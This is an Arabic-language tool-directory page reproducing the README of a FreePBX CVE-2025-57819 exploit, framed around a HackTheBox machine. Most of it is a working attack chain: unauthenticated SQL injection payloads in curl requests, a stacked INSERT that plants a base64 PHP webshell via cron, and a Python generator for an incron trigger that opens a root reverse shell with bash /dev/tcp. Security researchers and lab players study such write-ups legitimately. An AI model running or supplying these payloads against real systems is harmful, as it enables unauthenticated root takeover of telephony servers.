Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
FreePBX-CVE-2025-57819 — حقن SQL غير مصادق عليه يؤدي إلى تنفيذ كود عن بُعد في FreePBX — CVE-2025-57819 | Kitploit
أدوات/GitHubGitHub/yuvrajshad/freepbx-cve-2025-57819
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالفريق الأحمرتطوير الحمولات
GitHubyuvrajshad/freepbx-cve-2025-57819

FreePBX-CVE-2025-57819

حقن SQL غير مصادق عليه يؤدي إلى تنفيذ كود عن بُعد في FreePBX — CVE-2025-57819

عرض المستودع
133منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

FreePBX CVE-2025-57819 — حقن SQL غير مصادق عليه حتى RCE بصلاحيات الجذر

الخطورة: حرجة
النوع: حقن SQL غير مصادق عليه ← تنفيذ تعليمات برمجية عن بُعد
البرنامج المتأثر: FreePBX (وحدة endpoint)
تم الاختبار على: FreePBX على CentOS 7، Apache 2.4، PHP 7.4، MariaDB 5.5

نظرة عامة

توجد ثغرة حقن SQL غير مصادق عليه في وحدة endpoint في FreePBX عبر معامل brand في /admin/ajax.php. لا تتطلب استغلال هذه الثغرة أي بيانات اعتماد.

وبدمجها مع آلية المهام المجدولة (cron) الداخلية في FreePBX ونظام خطافات incron/fwconsole، يؤدي ذلك إلى الحصول على شل كامل بصلاحيات الجذر دون مصادقة.

سلسلة الهجوم

[No Auth Required]
        │
        ▼
Unauthenticated SQL Injection
(/admin/ajax.php → brand parameter)
        │
        ├──► Extract DB credentials, user hashes
        │
        ├──► INSERT into cron_jobs
        │         │
        │         └──► PHP webshell dropped in web root
        │                   │
        │                   └──► RCE as asterisk (user flag)
        │
        └──► Write incron trigger file (as asterisk)
                  │
                  └──► sysadmin_manager fires as root
                            │
                            └──► fwconsole hook → Root Shell

الاستخدام

pip install requests
python3 CVE-2025-57819.py <target> <lhost> <lport>

مثال:

python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999

المخرجات:

[*] Verifying Unauthenticated SQLi...
[+] SQLi confirmed!
[+] Database : asterisk
[+] Version  : 5.5.65-MariaDB
[+] DB User  : freepbxuser@localhost
[*] Inserting Cron Job to Drop Webshell...
[+] Cron job inserted — waiting up to 90s for it to fire...
[+] Webshell active! → uid=999(asterisk) gid=1000(asterisk)
[+] User Flag → HTB{REDACTED}
[*] Triggering Root Shell → 10.10.xx.xx:9999
[+] Trigger file created — incron will fire it as root!

كيف يعمل

المرحلة 1 — حقن SQL

يتم تمرير معامل brand في معالج AJAX الخاص بوحدة endpoint مباشرة إلى استعلام SQL دون تعقيم:

GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
    &command=model&template=x&model=model
    &brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

يؤدي هذا إلى إرجاع اسم قاعدة البيانات داخل خطأ XPATH — وهي تقنية SQLi كلاسيكية قائمة على الأخطاء. كما أن الاستعلامات المكدسة (stacked queries) مدعومة أيضًا، مما يسمح بعمليات INSERT وUPDATE وDELETE.

المرحلة 2 — ويب شيل عبر Cron

باستخدام الاستعلامات المكدسة، يتم إدراج مهمة cron في جدول cron_jobs في FreePBX:

INSERT INTO cron_jobs 
  (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES 
  ('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php',
   NULL, '* * * * *', 30, 1, 1)

يقوم مشغّل cron في FreePBX بتنفيذ هذه المهمة كل دقيقة، مما يُسقط ويب شيل PHP في جذر الويب.

المرحلة 3 — الجذر عبر Incron + خطاف fwconsole

يراقب incrond المجلد /var/spool/asterisk/incron/ (القابل للكتابة من قبل مستخدم asterisk). عند إنشاء ملف هناك، فإنه يشغّل /usr/bin/sysadmin_manager بصلاحيات الجذر.

يرتبط تنسيق اسم الملف api.fwconsole-commands.<payload> بخطاف موجود مسبقًا موقّع بـ GPG في:

/var/www/html/admin/modules/api/hooks/fwconsole-commands

يقوم الخطاف بفك ترميز اسم الملف كحمولة base64(zlib(json([cmd, txn_id]))) وينفذ:

$cmd = "/usr/sbin/fwconsole $command 2>&1";

استخدام help; كبادئة يجعل fwconsole يقبل الأمر كأمر صالح، وترمز ; إلى سلسلة أوامر شل عشوائية:

help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

يتم تنفيذ هذا بصلاحيات الجذر، مما يعطي شل كامل بصلاحيات الجذر.

الاستغلال اليدوي

الخطوة 1 — التحقق من SQLi

curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-"

الخطوة 2 — إسقاط ويب شيل

curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\
+VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\
+>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-"

الخطوة 3 — توليد حمولة الجذر

# Save to file to avoid shell quoting issues
cat > gen.py << 'EOF'
import base64, json, zlib
cmd = "help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
payload = base64.b64encode(
    zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")
print(payload)
EOF
python3 gen.py

الخطوة 4 — تشغيل شل الجذر

# On the target (as asterisk via webshell)
touch "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"

النتائج الرئيسية أثناء التحليل

النتيجةالتفاصيل
قاعدة البياناتasterisk (MariaDB 5.5.65)
مستخدم قاعدة البياناتfreepbxuser@localhost
مستخدم الويبasterisk (uid=999)
جدول cronقابل للكتابة عبر SQLi
مجلد Incron/var/spool/asterisk/incron/ (قابل للكتابة بواسطة asterisk)
تصعيد الصلاحياتخطاف fwconsole يعمل بصلاحيات الجذر عبر incrond
طريقة الحصول على الجذرتشغيل Incron ← خطاف fwconsole موقّع ← حقن أوامر

الجدول الزمني للإفصاح

التاريخالحدث
2025تم اكتشاف الثغرة والإبلاغ عنها
2025-11-30تم نشر الجهاز على HackTheBox
2025تم تعيين CVE-2025-57819

إخلاء مسؤولية

هذه الأداة مخصصة للأغراض التعليمية والاختبارات الأمنية المصرح بها فقط. لا تستخدمها ضد أنظمة ليس لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن أي إساءة استخدام.

المراجع

  • إثبات المفهوم من watchTowr Labs
  • نشرة FreePBX الأمنية
  • تفاصيل CVE-2025-57819
تنزيل الأداة